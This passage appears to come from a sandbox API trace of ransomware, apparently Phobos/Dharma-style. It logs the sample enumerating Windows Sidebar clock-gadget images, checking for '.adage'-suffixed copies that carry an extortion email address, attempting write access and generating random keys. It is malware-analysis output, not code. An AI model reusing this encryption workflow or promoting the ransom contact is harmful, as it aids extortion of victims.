returned 1 [0063.044] CloseHandle (hObject=0x1ac) returned 1 [0063.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png")) returned 0x20 [0063.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.045] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.046] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=25904) returned 1 [0063.046] CloseHandle (hObject=0x1b4) returned 1 [0063.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png")) returned 0x20 [0063.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.047] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.047] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=306) returned 1 [0063.047] CloseHandle (hObject=0x1b4) returned 1 [0063.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png")) returned 0x20 [0063.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.048] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.048] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=381) returned 1 [0063.048] CloseHandle (hObject=0x1b4) returned 1 [0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png")) returned 0x20 [0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.049] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.049] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=434) returned 1 [0063.049] CloseHandle (hObject=0x1b4) returned 1 [0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png")) returned 0x20 [0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.050] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.050] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3171) returned 1 [0063.050] CloseHandle (hObject=0x1b4) returned 1 [0063.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png")) returned 0x20 [0063.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.053] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.053] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=29780) returned 1 [0063.053] CloseHandle (hObject=0x1b4) returned 1 [0063.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png")) returned 0x20 [0063.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.054] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.055] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=30641) returned 1 [0063.055] CloseHandle (hObject=0x1b4) returned 1 [0063.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png")) returned 0x20 [0063.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.055] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.055] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2944) returned 1 [0063.055] CloseHandle (hObject=0x1b4) returned 1 [0063.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png")) returned 0x20 [0063.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.056] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.057] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=368) returned 1 [0063.057] CloseHandle (hObject=0x1ac) returned 1 [0063.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png")) returned 0x20 [0063.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.057] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.057] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=402) returned 1 [0063.057] CloseHandle (hObject=0x1ac) returned 1 [0063.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png")) returned 0x20 [0063.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.058] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.059] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2956) returned 1 [0063.059] CloseHandle (hObject=0x1ac) returned 1 [0063.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png")) returned 0x20 [0063.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.059] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.059] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=32695) returned 1 [0063.059] CloseHandle (hObject=0x1ac) returned 1 [0063.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png")) returned 0x20 [0063.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.060] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.061] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=34670) returned 1 [0063.061] CloseHandle (hObject=0x1ac) returned 1 [0063.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png")) returned 0x20 [0063.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.062] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.062] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=321) returned 1 [0063.062] CloseHandle (hObject=0x1ac) returned 1 [0063.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png")) returned 0x20 [0063.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.062] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.063] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=388) returned 1 [0063.063] CloseHandle (hObject=0x1ac) returned 1 [0063.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png")) returned 0x20 [0063.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0063.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.064] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0063.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0063.064] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=439) returned 1 [0063.064] CloseHandle (hObject=0x1ac) returned 1 [0063.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\flower_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\flower_m.png")) returned 0x20 [0063.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows 